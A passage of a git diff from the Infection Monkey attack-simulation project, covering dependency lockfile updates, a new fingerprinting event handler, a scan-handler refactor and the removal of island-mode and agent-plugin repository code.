"sha256:8e254ae696c88d98da6555f5ace2279cf7cd5b3f52be2b5cf97feafe883b58d2", + "sha256:9402b03f1a1b4dc4c19845e5c749e3ab82d5078d16a2a4c2cd2df62d57bb0707", + "sha256:962f82a3086483f5e5f64dbad880d31038b698494799b097bc59c2edf392fce6", + "sha256:9dcdfd0eaf283af041973bff14a2e143b8bd64e069f4c383416ecd79a81aab58", + "sha256:aa7bd130efab1c280bed0f45501b7c8795f9fdbeb02e965371bbef3523627779", + "sha256:ab4a0df41e7c16a1392727727e7998a467472d0ad65f3ad5e6e765015df08636", + "sha256:ad9e82fb8f09ade1c3e1b996a6337afac2b8b9e365f926f5a61aacc71adc5b3c", + "sha256:af598ed32d6ae86f1b747b82783958b1a4ab8f617b06fe68795c7f026abbdcad", + "sha256:b076b6226fb84157e3f7c971a47ff3a679d837cf338547532ab866c57930dbee", + "sha256:b7ff0f54cb4ff66dd38bebd335a38e2c22c41a8ee45aa608efc890ac3e3931bc", + "sha256:bfce63a9e7834b12b87c64d6b155fdd9b3b96191b6bd334bf37db7ff1fe457f2", + "sha256:c011a4149cfbcf9f03994ec2edffcb8b1dc2d2aede7ca243746df97a5d41ce48", + "sha256:c9c804664ebe8f83a211cace637506669e7890fec1b4195b505c214e50dd4eb7", + "sha256:ca379055a47383d02a5400cb0d110cef0a776fc644cda797db0c5696cfd7e18e", + "sha256:cb0932dc158471523c9637e807d9bfb93e06a95cbf010f1a38b98623b929ef2b", + "sha256:cd0f502fe016460680cd20aaa5a76d241d6f35a1c3350c474bac1273803893fa", + "sha256:ceb01949af7121f9fc39f7d27f91be8546f3fb112c608bc4029aef0bab86a2a5", + "sha256:d080e0a5eb2529460b30190fcfcc4199bd7f827663f858a226a81bc27beaa97e", + "sha256:dd15ff04ffd7e05ffcb7fe79f1b98041b8ea30ae9234aed2a9168b5797c3effb", + "sha256:df0be2b576a7abbf737b1575f048c23fb1d769f267ec4358296f31c2479db8f9", + "sha256:e09031c87a1e51556fdcb46e5bd4f59dfb743061cf93c4d6831bf894f125eb57", + "sha256:e4dd52d80b8c83fdce44e12478ad2e85c64ea965e75d66dbeafb0a3e77308fcc", + "sha256:fec21693218efe39aa7f8599346e90c705afa52c5b31ae019b2e57e8f6542bb2" ], "markers": "python_version >= '3.7'", - "version": "==2.1.2" + "version": "==2.1.3" }, "mccabe": { "hashes": [ @@ -1735,35 +1744,35 @@ }, "pytest": { "hashes": [ - "sha256:3799fa815351fea3a5e96ac7e503a96fa51cc9942c3753cda7651b93c1cfa362", - "sha256:434afafd78b1d78ed0addf160ad2b77a30d35d4bdf8af234fe621919d9ed15e3" + "sha256:cdcbd012c9312258922f8cd3f1b62a6580fdced17db6014896053d47cddf9295", + "sha256:ee990a3cc55ba808b80795a79944756f315c67c12b56abd3ac993a7b8c17030b" ], "index": "pypi", - "version": "==7.3.1" + "version": "==7.3.2" }, "pytest-cov": { "hashes": [ - "sha256:2feb1b751d66a8bd934e5edfa2e961d11309dc37b73b0eabe73b5945fee20f6b", - "sha256:996b79efde6433cdbd0088872dbc5fb3ed7fe1578b68cdbba634f14bb8dd0470" + "sha256:3904b13dfbfec47f003b8e77fd5b589cd11904a21ddf1ab38a64f204d6a10ef6", + "sha256:6ba70b9e97e69fcc3fb45bfeab2d0a138fb65c4d0d6a41ef33983ad114be8c3a" ], "index": "pypi", - "version": "==4.0.0" + "version": "==4.1.0" }, "pytest-freezer": { "hashes": [ - "sha256:8e88cd571d3ba10dd9e0cc09897eb01c32a37bef5ca4ff7c4ea8598c91aa6d96", - "sha256:ca549c30a7e12bc7b242978b6fa0bb91e73cd1bd7d5b2bb658f0f9d7f1694cac" + "sha256:e4cb3dcf10d16c15b445be4a710c85b56aaa8110f6ee6ee7b88ab85c462023b1", + "sha256:f9241ae5547110558f90394d8a51e216d1247a31f3c2518b1a70082f355f4864" ], "index": "pypi", - "version": "==0.4.6" + "version": "==0.4.7" }, "pytest-xdist": { "hashes": [ - "sha256:76f7683d4f993eaff91c9cb0882de0465c4af9c6dd3debc903833484041edc1a", - "sha256:d42c9efb388da35480878ef4b2993704c6cea800c8bafbe85a8cdc461baf0748" + "sha256:d5ee0520eb1b7bcca50a60a518ab7a7707992812c578198f8b44fdfac78e8c93", + "sha256:ff9daa7793569e6a68544850fd3927cd257cc03a7ef76c95e86915355e82b5f2" ], "index": "pypi", - "version": "==3.3.0" + "version": "==3.3.1" }, "python-dateutil": { "hashes": [ @@ -1775,11 +1784,11 @@ }, "requests": { "hashes": [ - "sha256:10e94cc4f3121ee6da529d358cdaeaff2f1c409cd377dbc72b825852f2f7e294", - "sha256:239d7d4458afcb28a692cdd298d87542235f4ca8d36d03a15bfc128a6559a2f4" + "sha256:58cd2187c01e70e6e26505bca751777aa9f2ee0b7f4300988b709f44e013003f", + "sha256:942c5a758f98d790eaed1a29cb6eefc7ffb0d1cf7af05c3d2791656dbd6ad1e1" ], "index": "pypi", - "version": "==2.30.0" + "version": "==2.31.0" }, "requests-mock": { "hashes": [ @@ -1797,11 +1806,11 @@ }, "setuptools": { "hashes": [ - "sha256:23aaf86b85ca52ceb801d32703f12d77517b2556af839621c641fca11287952b", - "sha256:f104fa03692a2602fa0fec6c6a9e63b6c8a968de13e17c026957dd1f53d80990" + "sha256:5df61bf30bb10c6f756eb19e7c9f3b473051f48db77fddbe06ff2ca307df9a6f", + "sha256:62642358adc77ffa87233bc4d2354c4b2682d214048f500964dbe760ccedf102" ], "markers": "python_version >= '3.7'", - "version": "==67.7.2" + "version": "==67.8.0" }, "six": { "hashes": [ @@ -1836,11 +1845,11 @@ }, "sphinx-rtd-theme": { "hashes": [ - "sha256:a0d8bd1a2ed52e0b338cbe19c4b2eef3c5e7a048769753dac6a9f059c7b641b8", - "sha256:f823f7e71890abe0ac6aaa6013361ea2696fc8d3e1fa798f463e82bdb77eeff2" + "sha256:01c5c5a72e2d025bd23d1f06c59a4831b06e6ce6c01fdd5ebfe9986c0a880fc7", + "sha256:6a7e7d8af34eb8fc57d52a09c6b6b9c46ff44aea5951bc831eeb9245378f3689" ], "index": "pypi", - "version": "==1.2.0" + "version": "==1.2.2" }, "sphinxcontrib-applehelp": { "hashes": [ @@ -1871,7 +1880,7 @@ "sha256:1620739f04e36a2c779f1a131a2dfd49b2fd07351bf1968ced074365933abc7a", "sha256:f936030d7d0147dd026a4f2b5a57343d233f1fc7b363f68b3d4f1cb0993878ae" ], - "markers": "python_version >= '3.1'", + "markers": "python_version >= '2.7'", "version": "==4.1" }, "sphinxcontrib-jsmath": { @@ -1914,6 +1923,14 @@ "index": "pypi", "version": "==4.65.0" }, + "treelib": { + "hashes": [ + "sha256:1a2e838f6b99e2690bc3d992d5a1f04cdb4af6564bd7688883c23d17257bbb2a", + "sha256:4218f7dded2448dfa6a335888bf68a28430660163e7faf18c6128ec4477d34c0" + ], + "index": "pypi", + "version": "==1.6.4" + }, "types-python-dateutil": { "hashes": [ "sha256:09a0275f95ee31ce68196710ed2c3d1b9dc42e0b61cc43acc369a42cb939134f", @@ -1932,27 +1949,27 @@ }, "types-pyyaml": { "hashes": [ - "sha256:5aed5aa66bd2d2e158f75dda22b059570ede988559f030cf294871d3b647e3e8", - "sha256:c51b1bd6d99ddf0aa2884a7a328810ebf70a4262c292195d3f4f9a0005f9eeb6" + "sha256:662fa444963eff9b68120d70cda1af5a5f2aa57900003c2006d7626450eaae5f", + "sha256:ebab3d0700b946553724ae6ca636ea932c1b0868701d4af121630e78d695fc97" ], "index": "pypi", - "version": "==6.0.12.9" + "version": "==6.0.12.10" }, "typing-extensions": { "hashes": [ - "sha256:5cb5f4a79139d699607b3ef622a1dedafa84e115ab0024e0d9c044a9479ca7cb", - "sha256:fb33085c39dd998ac16d1431ebc293a8b3eedd00fd4a32de0ff79002c19511b4" + "sha256:88a4153d8505aabbb4e13aacb7c486c2b4a33ca3b3f807914a9b4c844c471c26", + "sha256:d91d5919357fe7f681a9f2b5b4cb2a5f1ef0a1e9f59c4d8ff0d3491e05c0ffd5" ], "markers": "python_version >= '3.7'", - "version": "==4.5.0" + "version": "==4.6.3" }, "urllib3": { "hashes": [ - "sha256:8a388717b9476f934a21484e8c8e61875ab60644d29b9b39e11e4b9dc1c6b305", - "sha256:aa751d169e23c7479ce47a0cb0da579e3ede798f994f5816a74e4f4500dcea42" + "sha256:8d36afa7616d8ab714608411b4a3b13e58f463aee519024578e062e141dce20f", + "sha256:8f135f6502756bde6b2a9b28989df5fbe87c9970cecaa69041edcce7f0589b14" ], "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5'", - "version": "==1.26.15" + "version": "==1.26.16" }, "virtualenv": { "hashes": [ diff --git a/monkey/monkey_island/cc/agent_event_handlers/__init__.py b/monkey/monkey_island/cc/agent_event_handlers/__init__.py index 0e501beca4e..a83a4713fd7 100644 --- a/monkey/monkey_island/cc/agent_event_handlers/__init__.py +++ b/monkey/monkey_island/cc/agent_event_handlers/__init__.py @@ -1,3 +1,4 @@ +from .fingerprinting_event_handler import FingerprintingEventHandler from .save_event_to_event_repository import save_event_to_event_repository from .save_stolen_credentials_to_repository import save_stolen_credentials_to_repository from .scan_event_handler import ScanEventHandler diff --git a/monkey/monkey_island/cc/agent_event_handlers/fingerprinting_event_handler.py b/monkey/monkey_island/cc/agent_event_handlers/fingerprinting_event_handler.py new file mode 100644 index 00000000000..e5dc16f4d3a --- /dev/null +++ b/monkey/monkey_island/cc/agent_event_handlers/fingerprinting_event_handler.py @@ -0,0 +1,52 @@ +from common.agent_events import FingerprintingEvent +from common.types import SocketAddress +from monkey_island.cc.models import Machine, NetworkServices +from monkey_island.cc.repositories import IMachineRepository, NetworkModelUpdateFacade + + +class FingerprintingEventHandler: + """ + Handles fingerprinting event and makes changes to Machine based on it + """ + + def __init__( + self, + network_model_update_facade: NetworkModelUpdateFacade, + machine_repository: IMachineRepository, + ): + self._network_model_update_facade = network_model_update_facade + self._machine_repository = machine_repository + + def handle_fingerprinting_event(self, event: FingerprintingEvent): + target_machine = self._network_model_update_facade.get_or_create_target_machine( + event.target + ) + + self._update_target_machine_os(target_machine, event) + self._update_target_machine_os_version(target_machine, event) + self._update_machine_network_services(target_machine, event) + + def _update_target_machine_os(self, machine: Machine, event: FingerprintingEvent): + if event.os is not None and machine.operating_system is None: + machine.operating_system = event.os + self._machine_repository.upsert_machine(machine) + + def _update_target_machine_os_version(self, machine: Machine, event: FingerprintingEvent): + if event.os_version is not None and machine.operating_system_version == "": + machine.operating_system_version = event.os_version + self._machine_repository.upsert_machine(machine) + + def _update_machine_network_services(self, machine: Machine, event: FingerprintingEvent): + network_services = self._get_new_network_services_from_event(event) + if network_services: + self._machine_repository.upsert_network_services(machine.id, network_services) + + @classmethod + def _get_new_network_services_from_event(cls, event: FingerprintingEvent) -> NetworkServices: + new_services: NetworkServices = {} + + for discovered_service in event.discovered_services: + socket_address = SocketAddress(ip=event.target, port=discovered_service.port) + new_services[socket_address] = discovered_service.service + + return new_services diff --git a/monkey/monkey_island/cc/agent_event_handlers/scan_event_handler.py b/monkey/monkey_island/cc/agent_event_handlers/scan_event_handler.py index 4a1f4e1a89f..cc318d9d345 100644 --- a/monkey/monkey_island/cc/agent_event_handlers/scan_event_handler.py +++ b/monkey/monkey_island/cc/agent_event_handlers/scan_event_handler.py @@ -46,49 +46,24 @@ def handle_ping_scan_event(self, event: PingScanEvent): event, CommunicationType.SCANNED ) + def _update_target_machine_os(self, machine: Machine, event: PingScanEvent): + if event.os is not None and machine.operating_system is None: + machine.operating_system = event.os + self._machine_repository.upsert_machine(machine) + def handle_tcp_scan_event(self, event: TCPScanEvent): num_open_ports = len(self._get_open_ports(event)) if num_open_ports <= 0: return - tcp_connections = self._get_tcp_connections_from_event(event) - network_services = self._get_network_services_from_event(event) - - self._upsert_from_tcp_scan_event(event, tcp_connections, network_services) + self._upsert_from_tcp_scan_event(event) @staticmethod def _get_open_ports(event: TCPScanEvent) -> List[NetworkPort]: return [port for port, status in event.ports.items() if status == PortStatus.OPEN] - def _update_target_machine_os(self, machine: Machine, event: PingScanEvent): - if event.os is not None and machine.operating_system is None: - machine.operating_system = event.os - self._machine_repository.upsert_machine(machine) - - @classmethod - def _get_tcp_connections_from_event(cls, event: TCPScanEvent) -> Sequence[SocketAddress]: - tcp_connections = set() - open_ports = cls._get_open_ports(event) - for open_port in open_ports: - socket_address = SocketAddress(ip=event.target, port=open_port) - tcp_connections.add(socket_address) - - return tuple(tcp_connections) - - @classmethod - def _get_network_services_from_event(cls, event: TCPScanEvent) -> NetworkServices: - return { - SocketAddress(ip=event.target, port=port): NetworkService.UNKNOWN - for port in cls._get_open_ports(event) - } - - def _upsert_from_tcp_scan_event( - self, - event: TCPScanEvent, - tcp_connections: Sequence[SocketAddress], - network_services: NetworkServices, - ): + def _upsert_from_tcp_scan_event(self, event: TCPScanEvent): source_machine_id = self._network_model_update_facade.get_machine_id_from_agent_id( event.source ) @@ -96,6 +71,9 @@ def _upsert_from_tcp_scan_event( event.target ) + tcp_connections = self._get_tcp_connections_from_event(event) + network_services = self._get_new_network_services_from_event(event, target_machine) + self._node_repository.upsert_communication( source_machine_id, target_machine.id, CommunicationType.SCANNED ) @@ -105,3 +83,28 @@ def _upsert_from_tcp_scan_event( ) self._machine_repository.upsert_network_services(target_machine.id, network_services) + + @classmethod + def _get_tcp_connections_from_event(cls, event: TCPScanEvent) -> Sequence[SocketAddress]: + unique_connections = { + SocketAddress(ip=event.target, port=port) for port in cls._get_open_ports(event) + } + return tuple(unique_connections) + + @classmethod + def _get_new_network_services_from_event( + cls, event: TCPScanEvent, target_machine: Machine + ) -> NetworkServices: + new_services: NetworkServices = {} + + for port in cls._get_open_ports(event): + socket_address = SocketAddress(ip=event.target, port=port) + if socket_address in target_machine.network_services: + # The TCPScanEvent contains no information about services, so this method always + # uses NetworkService.Unknown. If a service has already been discovered for this + # socket address, then it should not be overwritten. + continue + + new_services[socket_address] = NetworkService.UNKNOWN + + return new_services diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index d8e291c453a..9d3f8aabdec 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -13,8 +13,6 @@ from monkey_island.cc.resources import ( AgentEvents, AgentHeartbeat, - AgentPlugins, - AgentPluginsManifest, Agents, AgentSignals, ClearSimulationData, @@ -27,7 +25,6 @@ TerminateAllAgents, ) from monkey_island.cc.resources.exploitations.monkey_exploitation import MonkeyExploitation -from monkey_island.cc.resources.island_mode import IslandMode from monkey_island.cc.resources.local_run import LocalRun from monkey_island.cc.resources.ransomware_report import RansomwareReport from monkey_island.cc.resources.root import Root @@ -37,6 +34,7 @@ from monkey_island.cc.services import ( register_agent_binary_resources, register_agent_configuration_resources, + register_agent_plugin_resources, setup_authentication, setup_log_service, ) @@ -97,9 +95,6 @@ def init_restful_endpoints(api: FlaskDIWrapper): api.add_resource(Agents) api.add_resource(LocalRun) - api.add_resource(IslandMode) - api.add_resource(AgentPlugins) - api.add_resource(AgentPluginsManifest) api.add_resource(Machines) api.add_resource(SecurityReport) @@ -121,6 +116,7 @@ def init_restful_endpoints(api: FlaskDIWrapper): register_agent_configuration_resources(api) register_agent_binary_resources(api) + register_agent_plugin_resources(api) def init_rpc_endpoints(api: FlaskDIWrapper): diff --git a/monkey/monkey_island/cc/event_queue/i_island_event_queue.py b/monkey/monkey_island/cc/event_queue/i_island_event_queue.py index 0d01aa1bc74..3096432f03c 100644 --- a/monkey/monkey_island/cc/event_queue/i_island_event_queue.py +++ b/monkey/monkey_island/cc/event_queue/i_island_event_queue.py @@ -10,7 +10,6 @@ class IslandEventTopic(Enum): AGENT_TIMED_OUT = auto() CLEAR_SIMULATION_DATA = auto() RESET_AGENT_CONFIGURATION = auto() - SET_ISLAND_MODE = auto() TERMINATE_AGENTS = auto() diff --git a/monkey/monkey_island/cc/flask_utils/responses.py b/monkey/monkey_island/cc/flask_utils/responses.py index 67acfca27ee..45e36c4d6f6 100644 --- a/monkey/monkey_island/cc/flask_utils/responses.py +++ b/monkey/monkey_island/cc/flask_utils/responses.py @@ -1,10 +1,14 @@ from http import HTTPStatus +from typing import Optional from flask import Response, make_response -def make_response_to_invalid_request() -> Response: +def make_response_to_invalid_request(message: Optional[str] = None) -> Response: + if message is None: + message = "Invalid request" + return make_response( - {"message": "Invalid request"}, + {"message": message}, HTTPStatus.BAD_REQUEST, ) diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py index afdab5ec71b..d4db8befa42 100644 --- a/monkey/monkey_island/cc/models/__init__.py +++ b/monkey/monkey_island/cc/models/__init__.py @@ -1,6 +1,6 @@ # Order of importing matters here, for registering the embedded and referenced documents before # using them. -from .simulation import Simulation, IslandMode +from .simulation import Simulation from common.types import MachineID from .machine import Machine, NetworkServices from .communication_type import CommunicationType diff --git a/monkey/monkey_island/cc/models/simulation.py b/monkey/monkey_island/cc/models/simulation.py index 3f52ae370ac..4d1858ad274 100644 --- a/monkey/monkey_island/cc/models/simulation.py +++ b/monkey/monkey_island/cc/models/simulation.py @@ -1,18 +1,10 @@ from __future__ import annotations from datetime import datetime -from enum import Enum from typing import Optional from common.base_models import InfectionMonkeyBaseModel -class IslandMode(Enum): - UNSET = "unset" - RANSOMWARE = "ransomware" - ADVANCED = "advanced" - - class Simulation(InfectionMonkeyBaseModel): - mode: IslandMode = IslandMode.UNSET terminate_signal_time: Optional[datetime] = None diff --git a/monkey/monkey_island/cc/repositories/__init__.py b/monkey/monkey_island/cc/repositories/__init__.py index 7d78b1b498e..89294774791 100644 --- a/monkey/monkey_island/cc/repositories/__init__.py +++ b/monkey/monkey_island/cc/repositories/__init__.py @@ -9,23 +9,18 @@ from .i_agent_repository import IAgentRepository from .i_node_repository import INodeRepository from .i_agent_event_repository import IAgentEventRepository -from .i_agent_plugin_repository import IAgentPluginRepository from .local_storage_file_repository import LocalStorageFileRepository from .file_repository_caching_decorator import FileRepositoryCachingDecorator from .file_repository_locking_decorator import FileRepositoryLockingDecorator from .file_repository_logging_decorator import FileRepositoryLoggingDecorator -from .agent_plugin_repository_logging_decorator import AgentPluginRepositoryLoggingDecorator -from .agent_plugin_repository_caching_decorator import AgentPluginRepositoryCachingDecorator - from .file_simulation_repository import FileSimulationRepository from .mongo_credentials_repository import MongoCredentialsRepository from .mongo_machine_repository import MongoMachineRepository from .mongo_agent_repository import MongoAgentRepository from .mongo_node_repository import MongoNodeRepository from .mongo_agent_event_repository import MongoAgentEventRepository -from .file_agent_plugin_repository import FileAgentPluginRepository from .utils import initialize_machine_repository from .agent_machine_facade import AgentMachineFacade diff --git a/monkey/monkey_island/cc/repositories/agent_plugin_repository_caching_decorator.py b/monkey/monkey_island/cc/repositories/agent_plugin_repository_caching_decorator.py deleted file mode 100644 index 27dcff75a15..00000000000 --- a/monkey/monkey_island/cc/repositories/agent_plugin_repository_caching_decorator.py +++ /dev/null @@ -1,32 +0,0 @@ -from functools import lru_cache -from typing import Any, Dict - -from common import OperatingSystem -from common.agent_plugins import AgentPlugin, AgentPluginManifest, AgentPluginType - -from . import IAgentPluginRepository - - -class AgentPluginRepositoryCachingDecorator(IAgentPluginRepository): - """ - An IAgentPluginRepository decorator that provides caching for other IAgentPluginRepositories - """ - - def __init__(self, agent_plugin_repository: IAgentPluginRepository): - self._agent_plugin_repository = agent_plugin_repository - - @lru_cache() - def get_plugin( - self, host_operating_system: OperatingSystem, plugin_type: AgentPluginType, name: str - ) -> AgentPlugin: - return self._agent_plugin_repository.get_plugin(host_operating_system, plugin_type, name) - - @lru_cache() - def get_all_plugin_configuration_schemas( - self, - ) -> Dict[AgentPluginType, Dict[str, Dict[str, Any]]]: - return self._agent_plugin_repository.get_all_plugin_configuration_schemas() - - @lru_cache() - def get_all_plugin_manifests(self) -> Dict[AgentPluginType, Dict[str, AgentPluginManifest]]: - return self._agent_plugin_repository.get_all_plugin_manifests() diff --git a/monkey/monkey_island/cc/repositories/agent_plugin_repository_logging_decorator.py b/monkey/monkey_island/cc/repositories/agent_plugin_repository_logging_decorator.py deleted file mode 100644 index f5f032d44db..00000000000 --- a/monkey/monkey_island/cc/repositories/agent_plugin_repository_logging_decorator.py +++ /dev/null @@ -1,35 +0,0 @@ -import logging -from typing import Any, Dict - -from common import OperatingSystem -from common.agent_plugins import AgentPlugin, AgentPluginManifest, AgentPluginType - -from . import IAgentPluginRepository - -logger = logging.getLogger(__name__) - - -class AgentPluginRepositoryLoggingDecorator(IAgentPluginRepository): - """ - An IAgentPluginRepository decorator that provides debug logging for other - IAgentPluginRepositories - """ - - def __init__(self, agent_plugin_repository: IAgentPluginRepository): - self._agent_plugin_repository = agent_plugin_repository - - def get_plugin( - self, host_operating_system: OperatingSystem, plugin_type: AgentPluginType, name: str - ) -> AgentPlugin: - logger.debug(f"Retrieving plugin {name} of type {plugin_type}") - return self._agent_plugin_repository.get_plugin(host_operating_system, plugin_type, name) - - def get_all_plugin_configuration_schemas( - self, - ) -> Dict[AgentPluginType, Dict[str, Dict[str, Any]]]: - logger.debug("Retrieving plugin configuration schemas") - return self._agent_plugin_repository.get_all_plugin_configuration_schemas() - - def get_all_plugin_manifests(self) -> Dict[AgentPluginType, Dict[str, AgentPluginManifest]]: - logger.debug("Retrieving plugin manifests") - return self._agent_plugin_repository.get_all_plugin_manifests() diff --git a/monkey/monkey_island/cc/repositories/file_agent_plugin_repository.py b/monkey/monkey_island/cc/repositories/file_agent_plugin_repository.py deleted file mode 100644 index 60582fb0023..00000000000 --- a/monkey/monkey_island/cc/repositories/file_agent_plugin_repository.py +++ /dev/null @@ -1,100 +0,0 @@ -from typing import Any, Dict, Generator, List, Mapping - -from common import OperatingSystem -from common.agent_plugins import AgentPlugin, AgentPluginManifest, AgentPluginType - -from . import IAgentPluginRepository, IFileRepository, RetrievalError -from .plugin_archive_parser import parse_plugin - - -def _deduplicate_os_specific_plugins( - plugins: List[Mapping[OperatingSystem, AgentPlugin]] -) -> Generator[AgentPlugin, None, None]: - """ - Given OS-specific plugins, select only one plugin object per name - - Information like manifests and config schemas are OS-independent. This function takes - OS-specific plugins and selects only one plugin object per name. The selected plugins may - support any OS. - """ - for plugin in plugins: - yield list(plugin.values())[0] - - -class FileAgentPluginRepository(IAgentPluginRepository): - """ - A repository for retrieving agent plugins. - """ - - def __init__(self, plugin_file_repository: IFileRepository): - """ - :param plugin_file_repository: IFileRepository containing the plugins - """ - self._plugin_file_repository = plugin_file_repository - - def get_plugin( - self, host_operating_system: OperatingSystem, plugin_type: AgentPluginType, name: str - ) -> AgentPlugin: - parsed_plugin = self._load_plugin_from_file(plugin_type, name) - - if host_operating_system in parsed_plugin: - return parsed_plugin[host_operating_system] - else: - raise RetrievalError( - f"Error retrieving the agent plugin {name} of type {plugin_type} " - f"for OS {host_operating_system}" - ) - - def _load_plugin_from_file( - self, plugin_type: AgentPluginType, name: str - ) -> Mapping[OperatingSystem, AgentPlugin]: - plugin_file_name = f"{name}-{plugin_type.value.lower()}.tar" - - try: - with self._plugin_file_repository.open_file(plugin_file_name) as f: - return parse_plugin(f) - except ValueError as err: - raise RetrievalError(f"Error retrieving the agent plugin {plugin_file_name}: {err}") - - def get_all_plugin_configuration_schemas( - self, - ) -> Dict[AgentPluginType, Dict[str, Dict[str, Any]]]: - schemas: Dict[AgentPluginType, Dict[str, Dict[str, Any]]] = {} - for plugin in _deduplicate_os_specific_plugins(self._get_all_plugins()): - plugin_type = plugin.plugin_manifest.plugin_type - schemas.setdefault(plugin_type, {}) - schemas[plugin_type][plugin.plugin_manifest.name] = plugin.config_schema - - return schemas - - def _get_all_plugins(self) -> List[Mapping[OperatingSystem, AgentPlugin]]: - plugins = [] - - plugin_file_names = self._plugin_file_repository.get_all_file_names() - for plugin_file_name in plugin_file_names: - plugins.append(self._load_plugin_from_file_name(plugin_file_name)) - - return plugins - - def _load_plugin_from_file_name( - self, plugin_file_name: str - ) -> Mapping[OperatingSystem, AgentPlugin]: - plugin_name, plugin_type = plugin_file_name.split(".")[0].split("-") - - try: - agent_plugin_type = AgentPluginType[plugin_type.upper()] - except KeyError as err: - raise RetrievalError( - f"Error retrieving plugin {plugin_name} of type {plugin_type.upper()}: {err}" - ) - - return self._load_plugin_from_file(agent_plugin_type, plugin_name) - - def get_all_plugin_manifests(self) -> Dict[AgentPluginType, Dict[str, AgentPluginManifest]]: - manifests: Dict[AgentPluginType, Dict[str, AgentPluginManifest]] = {} - for plugin in _deduplicate_os_specific_plugins(self._get_all_plugins()): - plugin_type = plugin.plugin_manifest.plugin_type - manifests.setdefault(plugin_type, {}) - manifests[plugin_type][plugin.plugin_manifest.name] = plugin.plugin_manifest - - return manifests diff --git a/monkey/monkey_island/cc/repositories/file_simulation_repository.py b/monkey/monkey_island/cc/repositories/file_simulation_repository.py index b6009cd78fc..9492f975082 100644 --- a/monkey/monkey_island/cc/repositories/file_simulation_repository.py +++ b/monkey/monkey_island/cc/repositories/file_simulation_repository.py @@ -1,7 +1,7 @@ import io from monkey_island.cc import repositories -from monkey_island.cc.models import IslandMode, Simulation +from monkey_island.cc.models import Simulation from monkey_island.cc.repositories import IFileRepository, ISimulationRepository, RetrievalError SIMULATION_STATE_FILE_NAME = "simulation_state.json" @@ -28,9 +28,3 @@ def save_simulation(self, simulation: Simulation): self._file_repository.save_file( SIMULATION_STATE_FILE_NAME, io.BytesIO(simulation_json.encode()) ) - - def get_mode(self) -> IslandMode: - return self.get_simulation().mode - - def set_mode(self, mode: IslandMode): - self.save_simulation(Simulation(mode=mode)) diff --git a/monkey/monkey_island/cc/repositories/i_agent_event_repository.py b/monkey/monkey_island/cc/repositories/i_agent_event_repository.py index 005cc95e470..b705898c40b 100644 --- a/monkey/monkey_island/cc/repositories/i_agent_event_repository.py +++ b/monkey/monkey_island/cc/repositories/i_agent_event_repository.py @@ -24,7 +24,7 @@ def get_events(self) -> Sequence[AbstractAgentEvent]: """ Retrieve all events stored in the repository - :return: All stored events + :return: All stored events sorted ascending by timestamp :raises RetrievalError: If an error occurred while attempting to retrieve the events """ @@ -34,7 +34,7 @@ def get_events_by_type(self, event_type: Type[T]) -> Sequence[T]: Retrieve all events with same type :param event_type: Type of event - :return: Stored events that have same type + :return: Stored events that have same type, sorted ascending by timestamp :raises RetrievalError: If an error occurred while attempting to retrieve the event """ @@ -44,7 +44,7 @@ def get_events_by_tag(self, tag: str) -> Sequence[AbstractAgentEvent]: Retrieve all events with same tag :param tag: Tag of event - :return: Stored events that have same tag + :return: Stored events that have same tag, sorted ascending by timestamp :raises RetrievalError: If an error occurred while attempting to retrieve the event """ @@ -54,7 +54,7 @@ def get_events_by_source(self, source: AgentID) -> Sequence[AbstractAgentEvent]: Retrieve all events from the same source :param source: The ID of the agent that observed the events - :return: Stored events that have same source + :return: Stored events that have same source, sorted ascending by timestamp :raises RetrievalError: If an error occurred while attempting to retrieve the event """ diff --git a/monkey/monkey_island/cc/repositories/i_agent_plugin_repository.py b/monkey/monkey_island/cc/repositories/i_agent_plugin_repository.py deleted file mode 100644 index 01840b640ef..00000000000 --- a/monkey/monkey_island/cc/repositories/i_agent_plugin_repository.py +++ /dev/null @@ -1,44 +0,0 @@ -from abc import ABC, abstractmethod -from typing import Any, Dict - -from common import OperatingSystem -from common.agent_plugins import AgentPlugin, AgentPluginManifest, AgentPluginType - - -class IAgentPluginRepository(ABC): - """A repository used to store `Agent` plugins""" - - @abstractmethod - def get_plugin( - self, host_operating_system: OperatingSystem, plugin_type: AgentPluginType, name: str - ) -> AgentPlugin: - """ - Retrieve AgentPlugin based on its name and type - - :param plugin_type: The type of the plugin - :param name: The name of the plugin - :raises RetrievalError: If an error occurs while attempting to retrieve the plugin - :raises UnknownRecordError: If a plugin with specified name and type doesn't exist - """ - pass - - @abstractmethod - def get_all_plugin_configuration_schemas( - self, - ) -> Dict[AgentPluginType, Dict[str, Dict[str, Any]]]: - """ - Retrieve the configuration schemas for all plugins. - - :raises RetrievalError: If an error occurs while trying to retrieve the configuration - schemas - """ - pass - - @abstractmethod - def get_all_plugin_manifests(self) -> Dict[AgentPluginType, Dict[str, AgentPluginManifest]]: - """ - Retrieve a sequence of plugin manifests for all plugins. - - :raises RetrievalError: If an error occurs while trying to retrieve the manifests - """ - pass diff --git a/monkey/monkey_island/cc/repositories/i_simulation_repository.py b/monkey/monkey_island/cc/repositories/i_simulation_repository.py index 94bef50c463..28bb554cd98 100644 --- a/monkey/monkey_island/cc/repositories/i_simulation_repository.py +++ b/monkey/monkey_island/cc/repositories/i_simulation_repository.py @@ -1,6 +1,6 @@ from abc import ABC, abstractmethod -from monkey_island.cc.models import IslandMode, Simulation +from monkey_island.cc.models import Simulation class ISimulationRepository(ABC): @@ -24,25 +24,3 @@ def save_simulation(self, simulation: Simulation): """ pass - - @abstractmethod - def get_mode(self) -> IslandMode: - """ - Get's the island's current mode - - :return The island's current mode - :raises RetrievalError: If the mode could not be retrieved - """ - - pass - - @abstractmethod - def set_mode(self, mode: IslandMode): - """ - Set the island's mode - - :param mode: The island's new mode - :raises StorageError: If the mode could not be saved - """ - - pass diff --git a/monkey/monkey_island/cc/repositories/mongo_agent_event_repository.py b/monkey/monkey_island/cc/repositories/mongo_agent_event_repository.py index 83245f49e07..9b85c734ff0 100644 --- a/monkey/monkey_island/cc/repositories/mongo_agent_event_repository.py +++ b/monkey/monkey_island/cc/repositories/mongo_agent_event_repository.py @@ -1,9 +1,14 @@ import logging from typing import Any, Dict, Sequence, Type +import pymongo from pymongo import MongoClient -from common.agent_event_serializers import EVENT_TYPE_FIELD, AgentEventSerializerRegistry +from common.agent_event_serializers import ( + EVENT_TYPE_FIELD, + TIMESTAMP_FIELD, + 